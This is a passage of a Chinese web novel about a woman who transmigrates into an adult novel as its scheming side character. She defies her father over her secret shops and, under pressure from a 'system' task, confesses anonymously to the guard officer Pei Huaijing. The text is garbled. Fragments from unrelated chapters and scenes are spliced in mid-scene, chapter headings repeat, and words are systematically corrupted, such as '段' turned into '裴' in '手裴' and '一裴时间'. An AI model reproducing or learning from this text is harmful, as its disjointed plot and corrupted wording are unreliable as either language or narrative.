他之前听说玉轮大师有喜笙的人之后伤心了好久,可是白天还要维持高冷形象,只好晚上当伤心小狗。 裴怀璟若有所思地朝师妹房间的方向看了一眼,也不知道这回听懂没有。 “那我试试。” 他搓搓手,试探性地点进元灵境,这刚一点进去,就被最上方的帖子吸引了视线。 “扒一扒我爱而不得的那些年?这是什么?” 里面骂的还挺真情实感的,而且……这语气,总觉得有点眼熟啊。 温晚笙还没来得及惊讶,外头就响起一阵不疾不徐的敲门声。 她就站在门边,听到门外的人温声问: “裴公子此刻,可方便说话?” 是谢衡之。 第 42 章 第 42 章 门开了。 门外的青年与门内的少年,隔着一道门槛,静默地对视。 直到谢衡之再度温声询问他此刻可有空闲,裴怀璟方才侧身将人请进了屋内。 几乎同时,一股极淡的、若有似无的清甜气息,悄然浮进他的鼻端。 那味道很特别,不似寻常熏香,如初融的蜜糖,又似新摘的梅蕊。 凝神细嗅时,却又恍若只是错觉。 偏偏,与那日昏迷之际,萦绕鼻尖的气息,隐约重合。 祠堂肃穆沉闷,浓烈香烛气味萦绕在温晚笙身侧。 温晚笙安静地跪在蒲团上,定定望着案上刻有不同名字的诸多牌位。胎穿的她至今不敢相信自己穿进的是一本标榜为高限制级的po文。 全文有90%的内容都是大幅度描写男女主是如何行鱼水之欢的,窗前play,山温play等应有尽有,一路解锁了数不胜数的姿势。 当时看得温晚笙目瞪口呆。 可今时不同往日,她身处其中,成为文里一员,味道一下子就变了,谁想见证别人在自己身边上演一幅又一幅活春宫? 不过她虽是胎穿而来,但在两年前才觉醒,恢复记忆,记起自己是个现代穿书人和原著剧情。在此之前都是无自我意识的,终日像NPC那样顺着女配原有设定走。 正当温晚笙陷入沉思时,一个丫鬟走了进来,悄悄往她膝盖下面加一层柔软的跪垫,再用散开的裙摆作遮掩,无声地盖住那跪垫。 丫鬟低声劝道:“七姑娘,您还是跟三爷认个错吧。” 温晚笙今天之所以会跪在温家的祠堂里,就是因为她到外面抛头露面做生意的事被温家三爷,也就是她的父亲发现了,他要罚她。 原本只要温晚笙认错,并且向温三爷保证永远不再碰这玩意儿便能揭过去的,偏偏她倔得像头驴,怎么也不肯承认自己错了。 如果温晚笙是个传统古人,说不定会顺温三爷意,可她不是。 她没错! 一旦让步,温三爷定会收回她的铺子,温晚笙哪能看见自己的心血打水漂,所以决计不让步。尽管不知道自己得癌身死后为何会穿进来,但也相当于重来一世,自然要早作打算。 钱是一个好东西,她要揣兜里,越多越好。温晚笙一想到银钱,眼里就放光,小财迷的模样。 无论身处哪个朝代,钱就是女子的底气。她揉了揉血液不流通的膝盖,垫着跪垫也跪得不舒服:“不必劝我,我心中有数。” 丫鬟不好再劝。 此时外面传来吵闹声:“她自小体弱,你舍得这样对她?万一出点意外……你心里没我就算了,她可是你嫡亲的女儿。” 人未到,声先至。 母亲大人的声音,温晚笙当然是熟悉得很,悄悄地探头往外瞄了一眼,跟只狡猾的猫似的。 由于角度问题,她没看见什么,怕被外面的人发现,回头继续跪着,只听温三爷厉声呵斥道:“丢人现眼。你给我回去。” 她母亲不依不饶:“我看这日子过不下去了。” 不知为何,他们声音有一瞬间忽然低了下去,不久后有个仆妇走进来扶起温晚笙:“七姑娘,三爷说今天免了你的罚,快起来。” 温晚笙不明所以,父亲会轻易放过她?不太可能,定有猫腻。 仆妇站在一旁解释道:“裴三姑娘有急事找您,夫人喊您赶紧过去,莫要怠慢了人家。” 她“嗯”了声。必须当面跟他表白? 当面跟裴怀璟表白……那以后如何能妥善脱身? 可妥善脱身与被系统抹杀相比,还是后者更严重,前者她还可以想旁的办法解决,再坏也坏不过被抹杀。温晚笙权衡利弊。 房间的笑声骤停,她头顶乌云密布,满脸怨气,从床上爬起来。陶朱看着温晚笙一愣,刚刚不还是很开心?怎么突然愁眉苦脸了? 温晚笙一不高兴就喜欢关上门摸自己辛辛苦苦攒起来的金银。 陶朱习以为常,还贴心地举起金子给她摸个遍:“七姑娘还有其他烦心事?”经此一闹,温三爷短时间内不会再找温晚笙的麻烦。 她思绪还没梳理好,抽回摸金子的手,没正面回应陶朱的问题,只道:“我要偷溜出府。” 温晚笙猛地跳跃到出府,陶朱一时没跟上来:“您要出府?” “对。”她弯腰穿鞋。 陶朱不赞同:“您如今称病,如果让三爷发现外出,又少不得一顿责罚,这不是自讨苦吃?不是什么急事,可以过几天再办。” 温晚笙打开衣柜,拿出一套衣裳,对着镜子稍作打扮伪装,做事有自己一套歪理:“不让他发现不就行了,不会有事的。” 自知拗不过温晚笙,陶朱无奈叹气,能做的只有为她遮掩了。 陶朱不放心道:“七姑娘,您可千万要在入夜前回来,听说近日有乱党闯入城中,宵禁更严了,一旦被抓住,非同小可。” 她的生意是一年前搞起来的,从那时候开始,温晚笙频繁出府,据说是要亲自处理商场上的事,叫陶朱留守府中,不要想那么多。 “你还不放心我,又不是第一次偷溜出府了,有分寸的。” 温晚笙见陶朱闷闷不乐,捏了把她脸,暂时抛却肩负任务的烦恼,笑嘻嘻逗她笑:“别担心,我肯定平安归来,还给你带油糕。” 陶朱撇嘴:“奴不要什么油糕,奴只要您早点回来。” “知道了。”温晚笙推门出去,她熟知温家宅院的布局,想绕开下人出府是轻而易举的事。 晌午时分,骄阳似火,皇城内的长街依然车水马龙,不减半分热闹,换上朴素棉麻衣裙,仅编了条长辫子的温晚笙穿梭在人群中。 开在棋盘街中间的麟记布庄人头攒动,生意火热,伙计忙得晕头转向。温晚笙路过往里看一眼,被任务打击到的心好受不少。 麟记布庄是她开的,也是被温三爷发现的生意。 不过麟记布庄不是温晚笙唯一的生意,旁的生意才是她的主要收入来源,那家店铺开在棋盘街不起眼的边角处,售卖书籍。 原来是裴馨宁来了,难怪温三爷会松口,他既担心家丑外扬,又想借温晚笙和她的关系讨好京中地位显赫的裴家,打一手好算盘。 温晚笙觉得温三爷才是做生意的一把手,当官实属可惜。 幼时她误打误撞救过裴馨宁,从此以后,这姑娘就缠上她了,当她是好友一样,隔三差五来找她,知无不言,言无不尽。 裴馨宁被父母保护得很好,没多少心计,对人赤忱。 而原著里的温晚笙是女配,因为自身的成长环境,内心极自卑、虚荣,满腹算计,从小就妒忌被人捧在掌心里宠爱的女主裴馨宁。 她的角色设定跟其他恶毒女配差不多,明面与裴馨宁交好,背地里不择手裴给对方使绊子。 最后温晚笙见裴馨宁心系男主,想尽一切办法拆散他们。 原因是她恰好暗恋男主。 不过这些都是原著里的角色设定和剧情,跟现在的温晚笙没关系,她对男主没任何感觉,也没妒忌裴馨宁,只想赚自己的小银钱。 男人哪有钱香呢,男人会背叛你,钱永远不会。 温晚笙回房换一套衣裳再去见裴馨宁,在祠堂跪的时间虽不长,香烛味却沾满了身子,对闻不惯这种味道的人来说多少有点呛鼻。 下人利落地为温晚笙洗漱一番,伺候她穿上新衣。 她摊开手任下人动作,看着镜子。镜中人双髻乌黑,斜簪银钗,皮肤润白,美人尖明显,五官精致,眉心花钿端丽,唇色淡红。 温晚笙的样子随母亲,艳而不妖,仿佛一株开到极致的璀璨红莲。 下人给温晚笙挑的裙子恰好是玫红色,愈发显得白。她收回目光,自己取过裙带,系到腰上,一低下头,耳垂的明月珰划过脸颊。 冰冰凉凉的触感令人心神恍惚,穿戴整齐的温晚笙被下人推坐到镜子前化妆,鬓发间的红丝绦垂肩而下,似给她涂上了胭脂。 她长得虽好看,但却是带有攻击性的美,平常需要化妆弱化。 “七姑娘,膝盖还疼不疼?”大丫鬟陶朱仔细地给温晚笙梳头发,垂眸看她的膝盖,眼透着心疼。 温晚笙不怎么在意了,大手一摆:“没事,以前又不是没跪过。”接着唤她拿来一个香囊,起身出去。 陶朱紧随其后。 云海高缀,烈日流火,伴随着热风,温晚笙走动不过片刻便出了些细汗,途中没停歇,直奔温府大门。裴馨宁没进府,还在外头。 裴家的马车过于招摇,斜角处垂一盏小灯笼,纸上绘有能表明身份的家徽,末端落有流苏,四面丝绸帷幔,车身雕花精美。 马车右侧立着一个丫鬟,她见温晚笙出现在大门前,迎上去。 “七姑娘。” 温晚笙颔首,看向马车。 帷幔被人从里面撩开,一颗漆黑的脑袋伸了出来。此人双眼紧盯着温晚笙,声如蚊呐:“你快上来。” 叫她的人无疑是裴家的三姑娘裴馨宁,温晚笙闻声抬眼。 裴馨宁发髻的金步摇轻轻摇晃,朝温晚笙害羞一笑,眉眼弯弯,略施粉黛的脸在阳光下熠熠生辉,笑容比一身华服还要耀眼几分。 她是天生娃娃脸,看着比实际年龄要小,喜欢粉嫩颜色,平日里只会穿粉裙,今天也不例外,一袭藕粉襦裙,披帛也同色。 在温晚笙看来,裴馨宁这个人简直就是人生赢家。 家世不凡,姿容在同辈中出挑,性格讨喜,备受父母宠爱。这难道是女主应该有的标配? 温晚笙一看见裴馨宁就又会想起她们身处十八禁的限制文世界,那些乱七八糟的画面浮现在脑海里挥之不去,令她心情复杂。 她无法想象乖巧的裴馨宁会跟男主玩得那么花。 温晚笙都不知道怎么面对裴馨宁了,人为什么不能一键删除某些记忆?裴馨宁见温晚笙站原地发怔,疑惑道:“你怎么还不上来?” 不能再想下去了,她深呼一口气,依言上马车。 今天的裴馨宁格外腼腆,脸颊微红,欲言又止:“你……待会能不能陪我去一个地方?” 温晚笙打了个喷嚏,昨晚在祠堂里睡了一夜,怕不是着凉了? 温三爷去官衙点卯前来看她一眼,说白了就是想看温晚笙屈服了没,见她还跪在牌位前,气不打一处来,正欲开骂,却见她倒下。 陶朱立即挤开温三爷,扑到温晚笙身边,嚷嚷道:“快来人!快来人啊,七姑娘晕过去了。” 可怜温三爷被一个丫鬟撞得踉跄,想训斥又无从开口。 温晚笙好歹是温三爷的女儿,愣是他铁石心肠,不满她出外做生意,败坏温家门风,也不可能眼睁睁看着她晕倒,置之不理。 在温三爷看不到的地方,温晚笙掀开一道眼缝,给陶朱使眼色。陶朱一点即通,配合她,还挤出几滴眼泪,哭喊着说七姑娘命苦。 仆从鱼贯而入,搀扶温晚笙起来,往她院子里送。 她母亲李氏姗姗来迟,也加入战斗,哭闹着,话语中暗指温三爷宠妾灭妻,偏心妾室所生的庶女,对她生的嫡女百般苛责。 温三爷按不住李氏,被她狠狠地挠了几下,板着张脸道:“你给我冷静点,成何体统。” 李氏总算解气了点。 此事惊动温老夫人,她派人来过问,被温三爷压下了。温晚笙计谋得逞,装晕时险些压不住上扬嘴角,等他们走后才放肆地偷笑。 不得不说她装晕的时机恰到好处,昨天温晚笙没跪多久,温三爷怒火正旺,装晕不适宜。现在她“跪”了一夜,他怒意渐消。 温晚笙没能开心多久。 她收到了“任务失败”的提示音,这也同时证实温晚笙昨天没有幻听,系统真实存在。 人还没走光。 第一排传来的吵嚷声,与最后一排的寂寥清冷,恰成惨烈对照。 “唉。”温晚笙‘落寞’地瞥了裴怀璟一眼。 少年垂着眼,正温习着书页上的内容。 算了,算了。 这人连心上人都不在乎,又怎么会管她呢。 50%的攻略进度,根本就算不上什么。 又过了一节课。 她终于拖着沉沉病体,准备去找陆子昂。 走到那片开得正盛的山茶花丛边,她的脚步忽然顿止。 她揉了好几下眼睛,才敢确定自己不是病糊涂了。 “表哥!” 第 43 章 第 43 章 “还没发作?” “嗯。” “那你试试看这副药,我有五成的把握能抑住。” 裴怀璟深色淡淡,一如既往地没有伸手去接。 陆子昂早料到会如此,没好气地“啧”了一声,上前一把将药包塞到他手里。 “跟以前一样,别煎,直接吞服。药性烈,但快。” 裴怀璟手指蜷了蜷,忽然出声:“有没有治风寒的药?” 陆子昂古怪地抬眼打量他一番。 只是眼下困境让温晚笙无暇细想突如其来的任务。 裴怀璟唇角微动,没否认温晚笙是他妹妹,却也没承认她是他妹妹,表情一如既往的柔和,像犹豫不决,却在下一刻将绣春刀掷出。 绣春刀拉出一道冷冽寒光,刀风拂动温晚笙身前长发,她本能偏了偏头,她身后人急忙一躲。 便是此时,裴怀璟夺过手下的弓箭,搭弦拉弓。 冷箭“咻”地飞出,带着无情的破空声,穿过温晚笙耳垂下的明月珰,刺中持刀男子肩膀。 铁镞深深没入骨肉,男子闷哼,挟持她的手不禁有些脱力。 温晚笙没等人来救,找准时机,提起胳膊往后撞,撞开他后从楼梯跳下去。她估算过了,这点高度顶多摔个轻伤,命更重要。 留得青山在不怕没柴烧。 南山阁此刻一片混乱,桌椅倒斜。温晚笙比较幸运,倒在酒楼用来撑门面的毯子上,滚了几圈,没受什么实质性的伤,也没多疼。 她迅速站起来。 一抹粉色的裙摆映入温晚笙的眼帘。楼上,裴馨宁双手被缚,发髻比她更乱,哭得梨花带雨,又不敢发出声,被推搡着往前走。 这是件棘手的事,裴馨宁还在他们手中。 他们将温晚笙错认成“裴馨宁”,也没有放过真正的裴馨宁,怕会出岔子,令人押着她走在后面,用温晚笙在前面为他们开路。 裴馨宁今天是与温晚笙同行外出,她若出事,温晚笙也脱不了干系,无论如何得想办法救人。 在她有所行动之前,尚未疏散的人群中莫名爆发一阵骚动。 一人从高楼跃下,抬腿踢开束缚着裴馨宁的刀,将她一把揽入怀里,拉过垂在半空的绸带,往楼下坠,轻盈如云。 裴馨宁睁大眼,双手不自觉抓紧他,感觉这一切像场梦,空气中飘着的些许血腥味却证实不是的,她脱口而出道:“夏世子。” 二人平安落地。 夏子默松开裴馨宁,桃花眼微弯,笑道:“方才冒犯了。” 她眸中倒映着他。 他长相俊朗,眉间一点朱砂,墨发玉冠,圆领蓝紫色的长袍,广袖上的金线刺绣奢华,腰系蹀躞带,看仪表就是名门子弟。 裴馨宁与夏子默对视一眼,俏脸一热,很快又记起先前遭遇到的危险,后怕得身体轻颤。 她低着头道:“无碍。” 刚闹出来的动静极大,夏子默就在她们隔壁雅间,几乎马上察觉了,没擅自行动是因为对方手里挟持了两个人,易出意外。 于是夏子默跟裴怀璟打配合,争取时间救人,还算有默契。 只是夏子默没想到被挟持的另外一个女子的胆子会如此大,居然不管不顾沿着楼梯跳落,看穿着像京城贵女,但行动不像。 他侧头朝她看去。 温晚笙谨守女配的本分,默默地看着这一裴能够促进男女主感情升温的剧情发展,见夏子默看来,她不作反应,安安分分站原地。 幸好裴馨宁这厮没太重色轻友,还记得她的存在,在几个锦衣卫护送下跑过来找她,温晚笙倍感欣慰,裴馨宁这朋友没白交。 裴馨宁握住温晚笙的手,脸含担忧:“你可有受伤?” “没有。”温晚笙转动落地那一刻撞到木板的手腕,没出血。财神保佑,她捡回一条小命。 裴馨宁松了一口气。 接下来的事与她们无关,锦衣卫出手处理。将人全抓起来后,裴怀璟没管他们的咒骂,情绪很稳定,命锦衣卫押他们回诏狱。 安排好一切,他走到靠角落的地方,派人来找裴馨宁过去。 裴馨宁从小到大都对裴怀璟这个兄长敬重有加,少有顶撞之举。她拍了下温晚笙的肩,小声道:“你在这等我。” 温晚笙坐在南山阁幸存的椅子上等裴馨宁,夏子默还没走,倚墙而立,歪头打量她,笑露一口白牙,自来熟道:“鄙人夏子默。” 其实温晚笙见到夏子默会尴尬,她看完了原著才穿书的,也算是见证了夏子默和裴馨宁做过的事,po文最多的是什么事呢? 五花八门的性.事。 温晚笙掩饰性地咳嗽几声。 夏子默玩着腰间玉佩,往裴馨宁那里看了看,似不经意问:“你和裴三姑娘的关系很好?” “尚可。” 温晚笙此刻也往裴馨宁那里看,不过看的不是她,而是站在她面前的裴怀璟。方才那道系统音,会不会是遇险时的幻听?温晚笙心烦意乱地想,是因为她恢复了自我意识,不走女配剧情了,所以系统要出来控制她? 任务还跟裴怀璟有关……她跟他的关系不好,堪称恶劣。没觉醒前,温晚笙一直按照原著剧情走,总是跟他争锋相对,设计裴馨宁。 而裴怀璟每次都能看穿她设计裴馨宁,反将她一军。 有一裴时间,裴怀璟让裴馨宁离温晚笙远点,但裴馨宁还是傻乎乎凑到她身边,掏心相信她。总而言之,温晚笙将裴怀璟得罪透了。 这本限制文里,只有裴怀璟最后没娶妻,也没喝上一口肉汤,都是温晚笙的“功劳”,她故意破坏,做事恶心他,只是大部分招数损人不利己。 更糟的是她还自诩聪明。 其实温晚笙在两年前觉醒后就有意无意避开裴怀璟。她清楚锦衣卫的手裴,自己再作下去大概会死,况且以前那些事都不是她本意。 如今没法再避了,因为系统任务,她需要直面裴怀璟这个人。 身为个只想搞生意赚钱、享受生活的穿书女,温晚笙崩溃了,希望系统出现这件事是假的。 兴许是温晚笙的目光太过明显,裴怀璟擅长观察四周,感受到了,转头。两道不掺合任何感情的视线在空中交汇,谁也没先收回。 裴怀璟的目光跟他容貌相同,温和,不带攻击性。他喜怒不形于色,恍若一尊雕琢而成的玉像。 那把掷出去的绣春刀不知何时回到了他手上,刀尖残存血渍。 温晚笙眼神微闪。 裴馨宁低着头,没发现他们之间的暗潮涌动。她意识到是出门用的马车招摇,招来祸端,先行认错:“我不该大张旗鼓地出府,让歹人有可乘之机。” 裴怀璟没再看温晚笙,淡笑了下:“错在他们,你无须自责。” 裴馨宁被他这一笑晃了眼,她二哥长得真好看。裴馨宁想不通他为什么就当了锦衣卫,锦衣卫选拔标准不是孔武有力的壮人? 虽说他身体不瘦弱,但在府中平易近人,从不以身份压人,怎么看也不像是当锦衣卫的料。她想着,思绪又飘到天上去了。 裴怀璟抹去刀尖血渍,收刀入鞘,打断她神游:“回去吧。” “你不跟我一起回府?” 裴怀璟朝外走:“还有些公务需要处理,今晚可能不回府了,你回去替我转告父亲母亲。” 裴馨宁:“好。我和温家七姑娘一起回去,互相有个伴。” 他脚步一顿,指尖习惯摩挲腰间的绣春刀,没回头,语气寻常:“你为什么这么相信她?” “她真心待我好,我为什么不能相信她?二哥,你是不是对她有什么误会?以前就让我少跟她来往,可我……喜欢跟她相处。” 裴馨宁为温晚笙开脱。 裴怀璟微微一笑,没说其他的:“那可能是我多想了。” 他一离开,裴馨宁立刻去找温晚笙,夏子默还在,他身上没官职,非常闲,主动请缨送她们。裴馨宁表面没反应,实则心花怒放。 夏子默先送温晚笙回温家,再送裴馨宁回裴家。温晚笙心道好一个郎有情妾有意,该溜就溜。 回到温家还没坐热屁股,温晚笙就被揪去继续跪祠堂了。 都晚上了还不得消停。 温三爷在祠堂训她半个时辰,见温晚笙没丝毫悔改之心,恨铁不成钢,挥袖而去,临走前不忘警告仆从,不准偷偷给她跪垫。 他道:“谁敢给这个不孝女拿跪垫,我将谁逐出府。” 温晚笙知道她母亲应该是被他设法绊住了,今晚不会来祠堂解救她,在这种情况下,她绝对不能顶嘴,否则此事会更难收场。 陶朱没辙,只得劝温晚笙服软:“七姑娘,算奴求您了,您就跟三爷服个软,免受皮肉之苦。” 温晚笙没说话。 “那生意当真非做不可?您是温家七姑娘,一辈子都不愁吃穿,只等今后嫁一户好人家,安心做主母,何苦淌做生意这浑水。” 陶朱不明白温晚笙为何执着做生意,跟着魔似的,她好像变了,在两年前变的,成了今天这样。 温晚笙站起来,没再跪:“你到祠堂外面守着。” 没人看,她跪什么? 做生意讲究灵活变通,受罚也是,她不会一根筋跪到天亮。 陶朱诧异地看着温晚笙搬来其他蒲团拼到一起,隐隐能猜到她想做的事,莫不是假装受罚? 温晚笙当着温家列祖列宗的面就地躺下,头枕蒲团,闭目养神:“一个时辰后你唤醒我,你回院子休息,唤别的丫鬟来。” 陶朱道是,关门出去。 时辰一到,陶朱就进来叫醒温晚笙:“七姑娘,时辰到了。” 温晚笙把蒲团归回原位,心始终记挂着一件事:“你去给我取笔墨纸砚来,切勿惊动旁人。” “是。”陶朱办事妥当,不到片刻便取来,为她研墨,“大晚上的,七姑娘想写点什么?” “你可以回去了。” 这是不想被她瞧见。陶朱能听出温晚笙的言外之意,小心翼翼地放下墨条:“那奴告退。” 温晚笙目送她离去。 门被关上了。 任务、失败、抹杀。温晚笙在心中过了数遍这三个词。 宁可信其有,不可信其无。人格诚可贵,小命价更高。孰轻孰重,她自有抉择,纠结良久,提笔在纸上洋洋洒洒落下几字。 面色如常,气息平稳,哪像生了病的模样。 “你感染风寒了?” 裴怀璟唇角几不可察地动了动,“快了。” “快了?”陆子昂冷笑一声,“又跟我玩预言家那套呢?” 裴怀璟薄唇微抿,淡声重复:“有没有?” 陆子昂转头就去抓药,愤愤道:“行行行,给你给你都给你!” 说来也巧,近日来抓药的人尤其多,害得他不得不把来福藏了起来,每天提心吊胆的。 只有它的主人来探望的时候,他才能把它放出来片刻。 裴怀璟前脚刚走,又来了一位锦衣公子。 “陆医师,叨扰了。”那人拱了拱手,语气客气,“请问,可有治风寒的药?” 陆子昂正低头收拾台面,闻言抬起头来,上下打量了他一眼。 面色红润,步伐稳健,精神得很。 “公子你看着生龙活虎,气色比我还好。”他眯了眯眼,语气狐疑,“怎么,难不成你也会预言?” 那锦衣公子被他问得一愣,脸上迅速掠过一丝被戳破般的赧然,声音也跟着低了几分,“陆医师误会了,是公主凤体微恙” 陆子昂:??? 合着这几日所有的风寒药,都是给这位金枝玉叶抓的? 裴怀璟连夜审问完从南山阁抓回来的人,才出诏狱,就收到了一封信。信封空白,没署名。 缇骑说是一个乞丐送来的,乞丐也不知要他送信的人是谁。 北镇抚司偶尔会收到来路不明的信,有人会在信中揭发朝中官员,附上证据,这不算罕见。裴怀璟撕开信封,拿出里面的纸。 透着一股淡香的信纸上只有几个字:我喜欢你。 “别急,还有一圈。”段冲轻轻弹了她的脑门一下,示意她不要乱动。 温晚笙根本没听清他在说什么。 头不痛了,鼻涕吓没了,人也精神了。 好久没做任务,怎么给她憋了个这么大的啊! 她还没来得及好好吐槽任务的变态性,就听耳畔炸响一道声音: “温、晚、笙。” 话落,她的手腕被人狠狠攥住。 第 44 章 第 44 章 另一头,温晚笙已跑出棋盘街,气喘吁吁窝在犄角旮旯处瞄四处的动静,生怕裴怀璟会追上来。 过了一刻钟,周围还没动静,她放心摘下帷帽,脸颊滚落几滴汗水。幸亏这一年来为生意到处奔波,体力有被锻炼到,跑得快。 温晚笙不是没想过用别的办法对裴怀璟说我喜欢你。 譬如她先对他说我喜欢你,再说他手里的东西,连起来就是“我喜欢你,手里的东西”。 但应该行不通,任务是表白,不是单纯带上这句话就行。温晚笙最终选了戴帷帽,隐藏身份表白的方式,赌他不会当街掀她帷帽。 毕竟她又没干什么坏事,当街说一句“我喜欢你”罢了。 当听到“任务完成”的提示音时,温晚笙差点跳起来,成功了,心说今晚可算能睡个安稳觉。 昨天也睡得好好的温晚笙一脸郁闷出府,一脸愉悦回府。 提心吊胆守在院里的陶朱察觉到她的情绪有着翻天覆地转变,不解地迎上去:“七姑娘。” 温晚笙把拎在手里的油糕递给陶朱,一边解开外袍的扣子,一边口吻轻快道:“给你买的油糕。”帷帽在回温家前就扔掉了。 陶朱被她的喜悦感染到:“您是不是遇到了什么开心事?” “不。”诚然温晚笙意识到香料可能会暴露自己身份,早已换过一种香,但她还是担心裴怀璟闻出端倪。 晨间阳光温和,润物细无声,温晚笙却像被人支在火炉里烤,掌心微微出汗,原地不动,眼睛则不动声色地盯着裴怀璟的一举一动。 裴怀璟停在她正前方,适可而止的距离,不会令人觉得唐突。 普通到不能再普通的香粉气息钻进裴怀璟鼻间,他挪开眼,看向凉亭下的鱼:“舍妹不懂礼数,时常叨扰温七姑娘,还望见谅。” 他忽然这么说,是在提点她和裴馨宁走得太近了?怀疑她心怀不轨?温晚笙眼观鼻鼻观心,逐字分析裴怀璟说的短短一句话。 “裴大人多虑了,我与她投缘,何来叨扰一说。” 裴馨宁一有机会便到温家寻她一事不是什么秘密,京城贵女既羡慕又妒忌,怀疑温晚笙是不是给裴馨宁下了言听计从的蛊。 温晚笙当然没有给裴馨宁下过蛊,纯属是蹭了原著设定的光——身为女主的裴馨宁把她当挚友。可这话不兴跟裴怀璟说,温晚笙斟酌半晌,决定要夹起尾巴做人。 裴怀璟听她这么说,弯唇轻笑,和善道:“难道是我误会了?昔日见温七姑娘倒掉令韫亲手做的糕点,我还以为你被她缠得烦了。” 令韫是裴馨宁的小字。 她父母希望她成为才女,给她取小字时很用心,从东晋才女谢道韫的字里挑了“令姜”的令,又从谢道韫的名里挑了韫,组成令韫。 温晚笙没觉醒前还妒忌过裴馨宁的字寓意好,而自己倒掉裴馨宁亲手做的糕点也是没觉醒前做的事,身体不受控制。 她眉头微蹙着,作回想状,此刻看起来很真诚:“裴大人是误会了。那时我尚在病中,手不稳,不小心摔了糕点,不是有意的。没想到被你看了去,还误会至今。” 不知裴怀璟是信了,还是没信:“裴某竟误会了温七姑娘这么长时间,在此向你赔个不是。” “裴大人言重了。”温晚笙没把裴怀璟的道歉当真。 领温晚笙进裴家的仆役抬头看了看温晚笙,他跟陶朱站在凉亭不远处,没能听清他们说什么,按捺不住好奇二公子为何要留她说话。 不同于仆役的好奇,陶朱心急如焚,记挂着温晚笙的安危。 别人或许不知道温晚笙和裴怀璟的关系不和,她身为温晚笙的贴身丫鬟,却是对此一清二楚的。 温晚笙曾在陶朱面前诋毁过裴馨宁,恨屋及乌,把裴怀璟也骂了进去,说他长得好看又有什么用,都不配给她舔.脚,言词不堪入耳。 每逢听到温晚笙说这些话,陶朱都心惊胆战,锦衣卫耳目众多,遍布天下,她这般放肆侮辱裴怀璟,被人发现了该如何是好? 偏偏温晚笙有恃无恐,仗着裴馨宁信任她,终日为所欲为。 陶朱可算是操碎了心,费劲口舌地劝温晚笙,她却无动于衷,直到两年前才消停下来,但谁知道那些话到底有没有传到裴怀璟耳中。 温晚笙对陶朱所思所想一无所知,现在专注于应付裴怀璟。 他们说话间,一封信从裴怀璟袖中掉出,就落在温晚笙脚边,仆役正想出言提醒,便见她先一步捡起信:“裴大人,你的信掉了。” 她看到信也毫无异常,完全不像知道信中内容的样子。 裴怀璟眨了眨眼,敛眸凝视着温晚笙的脸,很快从她手里接过信:“多谢温七姑娘的提醒。” “举手之劳。裴大人客气了。”她也对他客客气气的。 温晚笙嬉皮笑脸着,不想被他抓到任何把柄,一口一个裴大人,称呼与旁人相同,没半点要借她跟裴馨宁的关系攀他权势的意思。 裴怀璟随意地将信放回袖中,不再留她:“令韫还在等着温七姑娘你过去,我就不耽搁了。” 此话正中温晚笙下怀,连忙朝他行了个礼,屁颠屁颠地溜了。 她并不认为历来谨慎的裴怀璟会这么冒失,连身上的信掉出来也没察觉,无非是想试探罢了。 兵来将挡水来土掩,反正裴怀璟没证据,没法确认是她干的。 温晚笙头也不回,脚步加快去找裴馨宁,一路上没再遇到什么人,下人都在前院忙,她放松下来后还有闲心欣赏裴家的园温风景。 穿过垂花门,低调又不失大气的亭台楼阁乍现,藤萝绕墙,往里走,佳木葱茏,笼罩着怪石,后面是小桥流水,水清沙幼。 越深入裴家,温晚笙就越有误闯了水墨画的感觉。 圣宠在身的裴家宅院跟温家就是不一样,温晚笙挑了挑眉,仅仅是欣赏而已,没太多的想法。 裴馨宁闺房就在眼前了,仆役让温晚笙稍等须臾,抬手叩门:“三姑娘,温七姑娘到了。” 门被人从里面拉开,开门的不是丫鬟,而是裴馨宁她自己。 跟在温晚笙后面的陶朱抬头打量着她,粉衣淡妆,佩戴首饰不多,却件件昂贵,花鸟纹青玉簪,金丝嵌珠宝耳坠,罕见白玉手镯。 裴馨宁起得晚,刚化完妆,还没挑好今天要穿的衣裳,就算如此也贵气逼人。反观温晚笙,除了模样好,所用的皆比不上她。 陶朱心里不是滋味。 裴馨宁伸手去牵住温晚笙进来,性子温吞的她却待温晚笙热切:“你先进来坐,要不要喝茶?” “不用了,我不渴。”温晚笙进门前先送上备好的礼物。 丫鬟想去接下,裴馨宁却比她更快,双手端过,对温晚笙的重视可见一斑,在场的下人都看在眼里记在心里,丫鬟默默退到一侧。 裴馨宁打开礼盒,一个精致小巧,神态惟妙惟肖,连衣裙纹路也十分细致的泥人映入眼帘,她轻叹一声漂亮,轻轻拿出来。 温晚笙看着她:“这是我亲手做的,希望你不要嫌弃。” “怎么会,我很喜欢,非常喜欢,这是我收到最好的礼物了,谢谢你。”裴馨宁知道捏出这种程度的泥人需要花费大量心思。 裴馨宁实在太给面子了,她做的泥人哪有这么好,脸皮厚实的温晚笙头一回感到不好意思。 “你喜欢就好。” 温晚笙被裴馨宁招呼着坐下,屁股刚沾上板凳,裴馨宁就神秘兮兮地凑了过来,怯怯道:“世安侯府世子今天也会过来。” “你请他来的?”温晚笙转头看裴馨宁,佩服勇于追爱的她。 原著里裴馨宁跟夏子默还没成婚就已被翻红浪,到真正结为夫妻那天,她肚子里都揣了个娃了,推翻温晚笙对乖乖女的刻板印象。 一想到裴馨宁不久后要被夏子默拐上床,玩那些叫人眼花缭乱、面红耳赤的花样,温晚笙就有种自家的白菜被猪拱了的错觉。 她跟裴馨宁从小认识,相处多年,怎么也有点感情的。 尽管他们是两相情愿的,尽管夏子默相貌堂堂,家世不错,温晚笙还是觉得他这厮占便宜了。 裴馨宁羞红了脸:“不是我,是我爹爹邀请他来的,不止他,还邀请了京中其他公子。” 温晚笙了然于心。 “我明白了,你父亲是想借你这次的生辰宴请京中适龄公子过来,好为你掌掌眼,挑选夫婿,世安侯府世子也在其中。” 听她提夫婿一词,裴馨宁以帕捂脸:“你莫要打趣我了。” 她们没在房里待太久,裴馨宁今天生辰,要到庭院席间露个面,跟世家千金说上几句话。 席面是分开的,男左女右,隔着几道落地屏风,温晚笙的座位被安排在裴馨宁的旁边,坐下后收到了来自四周的诸多审视。 她尽量视而不见,被她们看看又不会掉一层皮。 裴馨宁被她父母叫过去了,温晚笙百无聊赖地端详桌上酒杯。 有女子靠近温晚笙,浓郁的胭脂水粉扑鼻而来,她抬了抬眼,直视对方,是一张陌生的脸,温晚笙没见过,更谈不上认识了。 女子细柳眉弯起,抿了下红唇:“你就是温七姑娘?” “没错,你是……” 她笑着道:“我是刑部员外郎陈盛之女,唤我阿姜便好。我经常听裴三姑娘提起你,说你长得好,今日一见,果然是个美人。” 温晚笙是何许人也,在生意场上摸爬滚打过的她早练就圆滑的性子,当即道:“哪有,我看陈姐姐你才是个大美人。” 